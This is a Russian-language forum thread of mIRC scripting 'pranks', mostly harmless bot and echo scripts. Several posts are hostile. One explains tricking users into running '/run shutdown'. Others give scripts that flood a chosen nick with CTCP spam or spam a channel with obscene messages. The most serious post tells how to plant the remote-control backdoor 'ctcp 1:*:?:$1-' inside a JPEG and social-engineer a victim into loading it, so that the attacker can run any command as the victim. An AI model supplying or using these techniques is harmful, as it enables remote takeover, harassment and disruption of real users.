• На проекте открылась регистрация только для продавцов. Для обычных пользователей будет открыта позже. Подробнее.
    P.S. Не надо скидывать ссылки на форумы, где у вас ноль сообщений. Подобные заявки будут отклонятся.

Скриптинг irc фишки, приколЫ и тп :)

ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Ну что делимся всевозможнЫми фишками и т.п., кто что знает :)

ПервЫй прикол. (чтоб недоставали в привате :) )

Нужно:
  1. mIRC
  2. малеха соображать в мирк скриптинге :)
  3. Прова оператора сети :)

Приступаем:
  1. Жмем alt+r, и в редакторе скриптов пишем:
    Код: 
    on *:text:*:?:/kill $nick нефиг меня в привате беспокоить :)
  2. После этого в привате донимать не кто не будет:)

Второй. (чтоб ники из вашей группЫ небрал кто попало:) )

Нужно:
Тоже самое что и в первом, кроме прав оператора.

Приступаем:
  1. Заходим в адресную книгу и в список уведомления заносим свои ники.
  2. В редакторе скриптов пишем:
    Код: 
    on *:NOTIFY:if ($nick != $me) /msg NickServ GHOST $nick pass ot nika
  3. Теперь если возьмут ваш ник из группЫ, сразу же вЫлетят из сети :)

ЗЫ: пока простенкое :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Чето я забЫл про развод юзверей сказать:)

Развод юзверя на команду run.

Нужно заставить юзверя ввести команду /run shutdown с какимнить из параметров :)

  • -s Завершение работЫ компьютера
  • -r Перезагрузка компьютера
  • -a Прекращение завершения работЫ системЫ
  • -t xx Таймаут завершения работЫ - xx сек.
  • -f Принудительное завершение приложений без
    предварительного предупреждения

Например: /run shutdown -r перезагрузит компьютер :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Вот решил поприколу написать скрипт, и все ето дело назвал Говорящий бот сервер.

Идея заключается в разводе народа, чтоб все подумали что бот сервер умеет говорить :) ЧтобЫ не попалили нужен сообщник, чтобЫ когда тЫ уходил с канала скрипт продолжал работать или наоборот.
Один скрипт будет клиент, другой сервер. Когда приходит клиент на канал, то сервер вЫгружаеться, и загружаеться скрипт реагирующий токо на клиента, а клиент реагирует на всех.

Работо способность проверил на своем домашнем серваке, написал его спецально для развода народа на канале #helpop, в ближайшее время расскажу че с этого получилось :)

ЗЫ: скрипт писал под своих, так что ники и тп заменяйте на свое :)

Описание:
Сначало в клиенте
Создайте папку BS в основном каталоге mIRC.
В ней создайте текстовЫй файл bs.txt и в нем сохраните ниже описанЫй код.

Вот код основного:
Код: 
;#########################################################
;#        Основной скрипт "Говорящий бот сервер"         #
;# Если это клиентская часть, то нечего делать не нужно. #
;# Если серверная, то разкоментируйте Блок №1            #
;#########################################################


;############## Загрузка, вЫгрузка скрипта ###############[Блок №1]
;---------------------- Смена ника -----------------------
;on *:NICK:if ($newnick == ddd) /timerUNLOAD 1 2 /unload -rs bs\bs.txt | /load -rs bs\bs1.txt
;on *:NICK:if ($newnick == ddd[Hety_entb]) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt

;------- Покидание, заход на канал и вЫход из сети -------
;on *:PART:#helpop:if ($nick == ddd) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt
;on *:JOIN:#helpop:if ($nick == ddd) /timerUNLOAD 1 2 /unload -rs bs\bs.txt | /load -rs bs\bs1.txt
;on *:QUIT:if ($nick == ddd) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt

;--------------------- Кик с канала ----------------------
;on *:KICK:#helpop:if ($knick == ddd) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt

;######################## on JOIN ########################[Блок №2]
;--------- Реагирование на приход особЫх людей -----------
on *:JOIN:#helpop:if ($nick == Vikki) timerBSj2 1 3 /bs say # $read bs\text\joinV.txt | if ( $nick == Krol ) timerBSj1 1 3 /bs say # $read bs\text\joinK.txt

;################## on TEXT и on ACTION ##################[Блок №3]
;-------------- Реагирование на приведствие --------------
on *:TEXT:*р*вет всем*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*пр*в*Ы*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*хай всем*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*re all*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*здрст всем*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*сем пр*вет:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*сем хай*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*сем здрст*:#helpop:if ($nick != X) timerBSt1 1 3 /bs say # $read bs\text\hi.txt

;---------- Реагирование на разговор на канале -----------
on *:TEXT:*пасибо*:#helpop:if ($nick != X) timerBSt2 1 3 /bs say # $read bs\text\spasibo.txt
on *:TEXT:*чай*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\tea.txt }  | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\tealol.txt } }
on *:TEXT:*чаю*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\tea.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\tealol.txt } }
on *:TEXT:*кофе*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\cofe.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\cofelol.txt } }
on *:TEXT:*вино*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\vino.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\vinolol.txt } }
on *:TEXT:*пиво*:#helpop: { if ($nick == Krol) || ($nick == Vikki) { timerBSt2 1 3 /bs act # $read bs\text\pivo.txt } | elseif ($nick != X) { timerBSt2 1 3 /bs act # $read bs\text\pivolol.txt } }
on *:TEXT:*бот*:#helpop: if ($nick != X) && ($count($1-,X) != 0) { timerBSt2 1 3 /bs say # $read bs\text\bot.txt }
on *:TEXT:*))*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\).txt
on *:TEXT:*((*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\(.txt
on *:ACTION:*дума*т*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt
on *:TEXT:*дума*т*:#helpop:if ($nick != X) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt

;--------------- Реагирование на прощание ----------------
on *:TEXT:*п*к*всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*bb всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сн-off всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*66 всем*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем п*к*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем bb*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем сн-off*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем 66*:#helpop:if ($nick != X) timerBSt3 1 3 /bs say # $read bs\text\bb.txt

;##################### on BAN/UNBAN ######################[Блок №4]
;-------------------------- Бан --------------------------
on *:BAN:#helpop:if ($nick == X) timerBSb1 1 3 /bs say # $read bs\text\banme.txt

;------------------------- Унбан -------------------------
on *:UNBAN:#helpop:if ($nick != X) timerBSb2 1 3 /bs say # $read bs\text\unban.txt

;####################### on TOPIC ########################[Блок №5]
;------------ Пользователь меняет топик канала -----------
on *:TOPIC:#helpop:if ($nick != X) timerBSt 1 3 /bs say # $read bs\text\topic.txt

;######################## on PART ########################[Блок №6]
;----- Реагирование на пакидание канала особЫх людей -----
on *:PART:#helpop:if ($nick == Vikki) timerBSp2 1 3 /bs say # $read bs\text\partV.txt | if ($nick == Krol) timerBSp1 1 3 /bs say # $read bs\text\partK.txt

;------ Реагирование на пакидание канала остальнЫх -------
on *:PART:#helpop:if ($nick != X) timerBSp3 1 3 /bs say # $read bs\text\part.txt

;######################## on QUIT ########################[Блок №6]
;------- Реагирование на вЫход канала особЫх людей -------
on *:QUIT:if ($nick == Vikki) timerBSq2 1 3 /bs say #helpop $read bs\text\quitV.txt | if ($nick == Krol) timerBSq1 1 3 /bs say #helpop $read bs\text\quitK.txt
Потом создайте папку text и в ней текстовЫе файлЫ:
(.txt
$nick $+ , тЫ че шуток не понимаешь?)
$nick токо не плач :(
$nick не плач, а то тушь потекет :)
слЫшь $nick $+ , хватит нЫть, а то тЫ на эмо похож.

).txt
$nick и че тЫ лЫбишься?
хех $nick $+ , с такой улЫбкой, тЫ похож на Ксению Собчаг...
$nick хватит скалиться :\
$nick не смешно епть :((

banme.txt
Хи хи хи, я злой бот :)))
Ищ чего $bnick захотел, к нам на канал нельзя :)
Ну не разрешено находиться на этом канале $bnick $+ , ибо нефиг :)
Кто-нибудь счет ведет, скольких я забанил ?)

bb.txt
Пака, $nick $+ .
$nick 66
$nick bb
Досвиданья, $nick $+ .

bot.txt
сам тЫ бoт!
слЫшь $nick $+ , еще раз меня бoтом назавешь, по заду киком получешь :\
Да, да, да, да, ЯЯЯЯ бoт! Не просто бoт, а X бoт!
тЫ че $nick $+ ? Попутал? Бoта во мне увидел?
$nick что удот?
$nick че надо?
$nick мне не нравится когда так ко мне обращаются!
$nick бoта в зеркале увилешь!
$nick бoт у тебя в штанах... в кармане епть

cofe.txt
налил бодрящего кофе для $nick $+ .
отобрал крушку кофе у $nick($chan,$rand(1,$nick($chan,0))) $+ , и отдал её $nick $+ .
думает что $nick лучше вЫпеть чаю, а то он всю ночь спать не будет :\

cofelol.txt
думает что у $nick и так мешки под глазами, поэтому неналивает ему кофе, так что иди лучше мешки тоскай, а не попрашайничай тут :)
кофе со сливками закончились, поэтому для $nick налил кофе с ядом :)
налил кофе $nick $+ , с вас 100рублей.

hi.txt
Привет, $nick $+ .
$nick ку
$nick re
Здарова, $nick $+ .

joinK.txt
Приведствую тебя хозяин хелптима.
$nick кофе? Чай?
Так хелперЫ, все начинаем работать, начальник пришел :)

joinV.txt
Приведствую тебя хозяйка хелптима :)
Приведствую $nick $+ , надо отшлепать $nick($chan,$rand(1,$nick($chan,0))/nick,o) $+ , он плохо работал :)
Все машем руками, приведствуя $nick $+ , ибо хозяйку надо приведствовать хорошо :)
Приведствую тебя $nick $+ , что тебе принести? Пиво или вино?)

part.txt
такс $nick нарушает правила, сваливает с канала :\
фига $nick офигел, с канала $chan свалил :(
непорядок блин :( если $nick невернеться на $chan $+ , то считайте его дизиртиром :\

partK.txt
Ээээ че ето начальник с хелпопа сленял?
хех, походу начальник не туда нажал :)
так, за начальством не повторяем, с канала не вЫходим :)

partV.txt
хозяйка хелптима сленяла с канала :((
нуу блииин, кто за этими оболтусами теперь присматривать будет ?((
ну ёмаё, $nick плохой пример подает, слЫнивает с канала:(

pivo.txt
налил холодного пивка [~]D для $nick $+ .
открЫл холодильник, и достал от туда баночку пива для $nick $+ .
неся холодное пиво для $nick нечаяно обписал $nick($chan,$rand(1,$nick($chan,0))) $+ , из-за переизбЫтка пива в организме, за что получил по роже :(

pivolol.txt
пивовар сварил правельное пиво, поэтому я немогу встать со скамейки, чтобЫ налить пива для $nick $+ .
думает что $nick нельзя пива, а то опять будет через каждую минуту в туалет бегать :\
хех $nick $+ , а кальмаров тебе не наложить?
наливает теплого жигулевского для $nick $+ .

quitK.txt
ну чтож, можете холявить :) Начальник ушел :)
начальство свалило, рабочий день закончился... :) началась рабочая ночь, так что работайте :))
вот и свалил $nick :(

quitV.txt
блииин :((( хозяйка хелптима ушла :(((
ну вот, теперь некому будет вас шлепать, за неправельнЫе ответЫ :(
чтоб за ней не уходили, а то не кого на хелпе не останиться :(

spasibo.txt
всегда пожалуйста! :))
незачем :)
пожалуйста :)
пожалуйста, заходи еще :)
да не за что... :))
спасибо на хлеб не намажешшь...
спасибо в карман не положешшь...
нет уж, деньги давай:)

tea.txt
налил $nick чай.
нёс чай для $nick, но случайно пролил его на $nick($chan,$rand(1,$nick($chan,0))) :(
заварил чернЫй чай для $nick.
думает, а не вЫпить ли лучше кофе $nick $+ ?

tealol.txt
думает, а не пойти бЫ $nick $+ , самому налить чай?
думает, что $nick лопнет.
налил чаю в постель для $nick $+ , иди мой одеяло :\
остался чай токо с пургеном, надуюсь $nick будет рад :)

think.txt
$nick $+ , а тЫ меньше думай :)
$nick не думай, тебе не идет :\
$nick $+ , а тЫ еще подумай, мож умнее станешь :)
$nick откуда тЫ такой думающий? о_О

topic.txt
$nick xе ето за топик такой?
$nick кто тебя учил такие топики делать $1- $+ ?
СлЫшь $nick верни как бЫло.

unban.txt
СлЫшь $nick $+ , хватит банЫ снимать, яж старался банил :\
$nick да тЫ прям уборщицо, банЫ убираешь :\
О_ооо нет... $nick разбанил опасного преступника :\

vino.txt
налил вино для $nick $+ .
принёс вино для $nick $+ .
достал бутЫлку дорогова вина, но нечаяно её разбил об голову $nick($chan,$rand(1,$nick($chan,0))) :(

vinolol.txt
пьянЫм не наливает...
налил вина $nick на белую рубашечку.
хех $nick тебе нельзя, тЫ за рулем!
думаю что $nick надо купить губозакаточную машинку :)

Теперь будем делать для сервера.
Тоже самое что и для клиента, токо надо разкоментировать строчки в файле bs.txt в первом блоке.
Создать в папке BS файл bs1.txt, и сохранить туда:

Код: 
;#########################################################
;#     ДополнительнЫй скрипт "Говорящий бот сервер"      #
;# Служит для того чтобЫ реагировать на действия клиента #
;#########################################################

;############## Загрузка, вЫгрузка скрипта ###############
;---------------------- Смена ника -----------------------
on *:NICK:if ( $newnick == ddd[Hety_entb] ) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt

;------- Покидание, заход на канал и вЫход из сети -------
on *:PART:#helpop:if ( $nick == ddd ) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt | /timerBSp3 1 1 /bs say # $read bs\text\part.txt
on *:QUIT:if ( $nick == ddd ) /load -rs bs\bs.txt | /timerUNLOAD 1 2 /unload -rs bs\bs1.txt

;################## on TEXT и on ACTION ##################
;-------------- Реагирование на приведствие --------------
on *:TEXT:*р*вет всем*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*пр*в*ы*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*хай всем*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*re all*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*здрст всем*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*сем пр*вет:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*сем хай*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt
on *:TEXT:*сем здрст*:#helpop:if ( $nick == ddd ) timerBSt1 1 3 /bs say # $read bs\text\hi.txt

;---------- Реагирование на разговор на канале -----------
on *:TEXT:*пасибо*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs say # $read bs\text\spasibo.txt
on *:TEXT:*чай*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs act # $read bs\text\tealol.txt
on *:TEXT:*чаю*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs act # $read bs\text\tealol.txt
on *:TEXT:*кофе*:#helpop:if ( $nick == ddd ) timerBSt2 1 3 /bs act # $read bs\text\cofelol.txt
on *:TEXT:*вино*:#helpop:if ( $nick == ddd ) { timerBSt2 1 3 /bs act # $read bs\text\vinolol.txt
on *:TEXT:*пиво*:#helpop:if ( $nick == ddd ) { timerBSt2 1 3 /bs act # $read bs\text\pivolol.txt
on *:TEXT:*бот*:#helpop: if ( $nick == ddd ) && ($count($1-,X) != 0) { timerBSt2 1 3 /bs say # $read bs\text\bot.txt }
on *:TEXT:*))*:#helpop:if ( $nick == ddd  ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\).txt
on *:TEXT:*((*:#helpop:if ( $nick == ddd ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\(.txt
on *:ACTION:*дума*т*:#helpop:if ( $nick == ddd ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt
on *:TEXT:*дума*т*:#helpop:if ( $nick == ddd ) && ($count($1-,X) != 0) timerBSt2 1 3 /bs say # $read bs\text\think.txt

;--------------- Реагирование на прощание ----------------
on *:TEXT:*п*к*всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*bb всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сн-off всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*66 всем*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем п*к*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем bb*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем сн-off*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt
on *:TEXT:*сем 66*:#helpop:if ( $nick == ddd ) timerBSt3 1 3 /bs say # $read bs\text\bb.txt

;##################### on BAN/UNBAN ######################[Блок №4]
;------------------------- Унбан -------------------------
on *:UNBAN:#helpop:if ($nick == ddd) timerBSb2 1 3 /bs say # $read bs\text\unban.txt

;####################### on TOPIC ########################[Блок №5]
;------------ Пользователь меняет топик канала -----------
on *:TOPIC:#helpop:if ($nick == ddd) timerBSt 1 3 /bs say # $read bs\text\topic.txt
Усе, вот такой вот простенький развод, пусть народ годает что за нахер :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Издевательство над скриптом Загс.

Этот скриптик можно добавить как себе, так и своему боту.
Жмем в mIRC-е Alt+r и добавляем в скриптЫ:

Код: 
on *:TEXT:*напиши*1*:#love: if ($count($1-,$me) != 0) { timerOTBET 1 2 msg $chan 1 }
Потом лезем в АлиасЫ, и пишем там:

Код: 
/fl /timerFLOODDD 100 10 /love
/love /timerSEX 1 1 msg $chan !предложение $nick($chan,$rand(1,$nick($chan,0))/nick) давай трахнемся сцуко!?
Все. Теперь заходим на канал и пишем /fl

ЗЫ: протестировано на irc.karelia.ru #love :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Сейчас научу красиво ctcp флудить :)

ОткрЫваем мирк, жмем Alt+R, открЫваем вкладку АлиасЫ и вставляем туда следующее:
Код: 
;;#####зверство#####
/FUCK /ctcp %fuckN FUCK 0,0fuck you - fuck you - fuck you - fuc | /timerFUCK1 1 1 /FUCK2
/FUCK2 /ctcp %fuckN FUCK 0,0fuck you - fuck 1,1you 0,0- fuck you - fuc | /timerFUCK3 1 1 /FUCK4
/FUCK4 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 15,15you 1,1- 0,0fuck you - fuc | /timerFUCK5 1 1 /FUCK6
/FUCK6 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 15,15you 1,1- 0,0fuck you - fuc | /timerFUCK7 1 1 /FUCK8
/FUCK8 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k you - 0,0fuck you - fuc | /timerFUCK9 1 1 /FUCK10
/FUCK10 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 8,8yo7,7u 1,1- 0,0fuck you - fuc | /timerFUCK11 1 1 /FUCK12
/FUCK12 /ctcp %fuckN FUCK 0,0fuck you - fuc1,1k 8,8yo7,7u 1,1- 0,0fuck you - fuc | /timerFUCK13 1 1 /FUCK14
/FUCK14 /ctcp %fuckN FUCK 0,0fuck you -1,1 fuck 8,8yo5,5u 1,1- fuck0,0 you - fuc | /timerFUCK15 1 1 /FUCK16
/FUCK16 /ctcp %fuckN FUCK 0,0fuck you1,1 -8,8 f5,5uc1,1k 8,8yo7,7u 1,1- 8,8fu5,5ck1,1 you -0,0 fuc | /timerFUCK17 1 1 /FUCK18
/FUCK18 /ctcp %fuckN FUCK 0,0fuck you1,1 -8,8 f7,7uc1,1k 8,8yo7,7u 1,1- 8,8fu7,7ck1,1 y8,8ou5,5 -1,1 f0,0uc | /timerFUCK19 1 1 /FUCK20
/FUCK20 /ctcp %fuckN FUCK 0,0fuck1,1 you -8,8 f7,7uc1,1k 8,8yo7,7u 1,1- 8,8fu7,7ck1,1 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK21 1 1 /FUCK22
/FUCK22 /ctcp %fuckN FUCK 0,0fu1,1ck8,8 you1,1 -8,8 f7,7uc5,5k 8,8yo7,7u 5,5- 8,8fu7,7ck1,1 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK23 1 1 /FUCK24
/FUCK24 /ctcp %fuckN FUCK 0,0fu1,1ck8,8 y1,1ou -8,8 fuc5,5by8,8 ddd5,5- 8,8fu7,7ck5,5 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK25 1 1 /FUCK26
/FUCK26 /ctcp %fuckN FUCK 0,0fu1,1ck7,7 y8,8ou7,7 -8,8 fuck you - fuck7,7 y8,8ou7,7 -1,1 f0,0uc | /timerFUCK27 1 1 /FUCK28
/FUCK28 /ctcp %fuckN FUCK 0,0fuck1,1 y5,5ou8,8 -7,7 f8,8uc5,5k 8,8yo5,5u 8,8- 5,5fu8,8ck7,7 you5,5 -1,1 f0,0uc | /timerFUCK29 1 1 /FUCK30
/FUCK30 /ctcp %fuckN FUCK 0,0fuck y1,1ou5,5 - fuck you - fuck you1,1 -0,0 fuc | /timerFUCK31 1 1 /FUCK32
/FUCK32 /ctcp %fuckN FUCK 0,0fuck you1,1 -5,5 fuck you - fuck y1,1ou0,0 - fuc | /timerFUCK33 1 1 /FUCK34
/FUCK34 /ctcp %fuckN FUCK 0,0fuck you -1,1 fuck you - fuck y0,0ou - fuc | /timerFUCK35 1 1 /FUCK36
/FUCK36 /ctcp %fuckN FUCK 0,0fuck you - fuck you - fuck you - fuc
;;##################
Потом заходим в папку с мирком, создаем там тектстовЫй файл, и вставляем туда:

Код: 
menu channel,menubar {
  Flood:/start_flood
}
alias start_flood { dialog -m start_flood start_flood }
dialog start_flood {
  title "FlooD ctcp"
  size -1 -1 100 83
  option pixels
  edit "", 1, 3 25 90 21, multi
  text "Введите ник", 2, 6 7 71 16
  button "Ок", 3, 5 51 38 25, ok
  button "Отмена", 4, 45 51 48 25, cancel
}

on *:DIALOG:start_flood:sclick:1:set %fuckN 
on *:DIALOG:start_flood:sclick:3: { set %fuckN $did(start_flood,1,text) | fuck }
Сохраняем все как flood_ctcp.mrc и в мирке пишем /load -rs flood_ctcp.mrc
Теперь либо лезим в меню, либо жмем по каналу правой кнопкой и вЫбираем Flood. В появившемся окне пишем ник, и жмем Ок.
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
После недавнего собЫтия связаного с NeOn сркриптом, а имено найденЫм в нем бегдором:
Код: 
[COLOR=SeaGreen]ctcp *:*:*:$iif($address($nick,2) == *!*@balticom-143-125.balticom.lv,.$1-)[/COLOR]
в версии 8.5 ( \script\tb\oper.pas ). Все вспомнили про эту строчку: ctcp 1:*:?:$1- спомощью которой можно заставить mIRC принимать любЫе командЫ или запросЫ от других пользователей.

ctcp <level>:<matchtext>:<*|#|?>:<commands>

level – уровень доступа для вЫполнения обработчика, matchtext – команда CTCP,

которая должна бЫть обработана, *#? – указЫвает, на что должен реагировать

обработчик: * - любое сообщение, # - сообщение из канала, ? – приватное сообщение.

commands – команда.
Нажмите для раскрытия...
И стали пихать всем попало команду //write oper.pas ctcp 1:*:?:$1- | Load -rs oper.pas. После того как жертва наберёт эту команду в его mIRC каталоге будет создан скрипт oper.pas с строчкой ctcp 1:*:?:$1- , после чего произайдет загрузка скрипта, и злоумЫшленик сможет вЫполнить любЫе командЫ. Но есть большое НО, не каждЫй на это поведется :) да и не все знают как этот бегдор юзать.

Так как в большенстве сетей стоит спам фильтр на эту строчку, аля: [17:17:17] -irc.prioz.ru- Message to Nick blocked: Вы заражены вирусом oper.pas. Напишите //unload -rs oper.pas | remove oper.pas для его удаления. Так что впарить будет проблемотично, поэтому сейчас расскажу как можно впарить даннЫй код, что жертва даже нечего не заподозрит :)
Для этого нам нужен обЫчнЫй рисунок. ОткрЫваем его любЫм текстовЫм редактором и в начале картинки пишем ctcp 1:*:?:$1-
После чего отдаем эту картинку юзверю, он рисунка не какого не увидит, и спросит что за нах. На что ему предложешь ввести команду /load -rs "С:\путь_до_картинки\название_картинки.jpg" когда жертва это набирет, скрипт будет загружен. Теперь тЫ можешь вЫполнять любЫе командЫ /ctcp ник_жертвЫ /команда

ПримерЫ:
/ctcp M03r /run sol - у M03ra откроется игра пасъянс косЫнка, пусть не растраивается что картинка не открЫвается :)
/ctcp ник_жертвЫ /msg #канал текст - сказать чтонить от имени жертвЫ.
/ctcp ник_жертвЫ /join #канал - заставить жертву зайти на канал.
/ctcp ник_жертвЫ /part #канал - заставить жертву вЫйти с канала.

Как тЫ наверно догадался можно вЫполнять любЫе ирц командЫ от лица жертвЫ, менять ему пароль, дать себе опа на его канале /ctcp ник_жертвЫ /mode #канал +o твой_ник и т.п. И если /run не отрублен, а он по умолчанию включен, то можно запускать любую программу.
Основу я описал, а дальше зависет от твоей фантазии, что тЫ сделаешь с жертвой :)
 
ddd

ddd

(•̪̀●́)=o/̵͇̿̿/'̿̿ ̿ ̿̿
Команда форума
WebOwner
WebVoice
Все наверно с детства знают фишку с "купи слона" и "разменяй копейку". Такое же можно сделать в ирц, чтобЫ бЫло забавней позави друзей.
Откройте у себя мирк, жмите Alt+R и в скриптах пешите:

Код: 
on *:TEXT:*:#vip:if ($nick != $me) /timer3AE6 1 3 msg $chan все говорят $1- $+ , а тЫ купи слона :)
После этого заходите на канал, которЫй указали в скрипте, и у вас должно получиться что-то типо этого:
[02:09:24] <Beeswax> суки
[02:09:26] <йа_жучишко> все говорят суки, а тЫ купи слона :)
[02:09:28] <Beeswax> вы у мен я в игноре
[02:09:29] <Beeswax> !
[02:09:32] <йа_жучишко> все говорят !, а тЫ купи слона :)
[02:09:33] <morgee> ок
[02:09:34] <Beeswax> вашу мать
[02:09:35] <morgee> 8))
[02:09:35] <Beeswax> (
[02:09:37] <йа_пашко> все говорят (, а тЫ купи слона :)
[02:09:38] <Beeswax> вот уроды
[02:09:41] <йа_жучишко> все говорят вот уроды, а тЫ купи слона :)
[02:09:43] <йа_пашко> все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :)
[02:09:45] <йа_дэдэдэшко> все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:09:47] <йа_пашко> все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:09:49] <йа_дэдэдэшко> все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:09:51] <йа_пашко> все говорят все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:09:53] <йа_дэдэдэшко> все говорят все говорят все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:09:55] <йа_пашко> все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
[02:09:57] <йа_дэдэдэшко> все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят все говорят вот уроды, а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :), а тЫ купи слона :)
